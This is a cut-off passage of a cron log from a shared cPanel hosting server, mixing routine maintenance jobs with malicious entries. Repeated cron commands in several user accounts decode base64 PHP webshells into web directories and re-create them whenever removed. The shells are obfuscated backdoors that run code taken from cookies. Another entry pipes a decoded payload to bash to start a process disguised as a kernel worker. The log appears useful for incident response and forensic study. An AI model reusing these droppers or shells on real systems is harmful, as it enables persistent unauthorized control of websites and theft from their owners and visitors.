AwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:58:01 medusa CROND[19683]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:58:01 medusa CROND[19688]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:58:01 medusa CROND[19689]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:58:01 medusa CROND[19692]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:58:01 medusa CROND[19693]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:58:01 medusa CROND[19695]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:58:01 medusa CROND[19696]: (cuartop) CMD (ls)
Jun  7 13:58:01 medusa CROND[19697]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:59:01 medusa CROND[21354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:59:01 medusa CROND[21355]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:59:01 medusa CROND[21357]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:59:01 medusa CROND[21358]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:59:01 medusa CROND[21356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:59:01 medusa CROND[21360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:59:01 medusa CROND[21359]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:59:01 medusa CROND[21361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:59:01 medusa CROND[21362]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:59:01 medusa CROND[21367]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:59:01 medusa CROND[21370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:59:01 medusa CROND[21372]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:00:01 medusa CROND[23141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 14:00:01 medusa CROND[23146]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:00:01 medusa CROND[23152]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:00:02 medusa CROND[23165]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:00:02 medusa CROND[23166]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:00:02 medusa CROND[23167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 14:00:02 medusa CROND[23168]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:00:02 medusa CROND[23170]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 14:00:02 medusa CROND[23172]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:00:02 medusa CROND[23173]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23175]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:00:02 medusa CROND[23176]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23177]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23180]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23183]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 14:00:02 medusa CROND[23185]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:00:02 medusa CROND[23189]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 14:00:02 medusa CROND[23190]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:00:02 medusa CROND[23194]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 14:00:02 medusa CROND[23193]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 14:00:02 medusa CROND[23215]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:00:02 medusa CROND[23218]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:00:02 medusa CROND[23198]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 14:00:02 medusa CROND[23216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:00:02 medusa CROND[23220]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
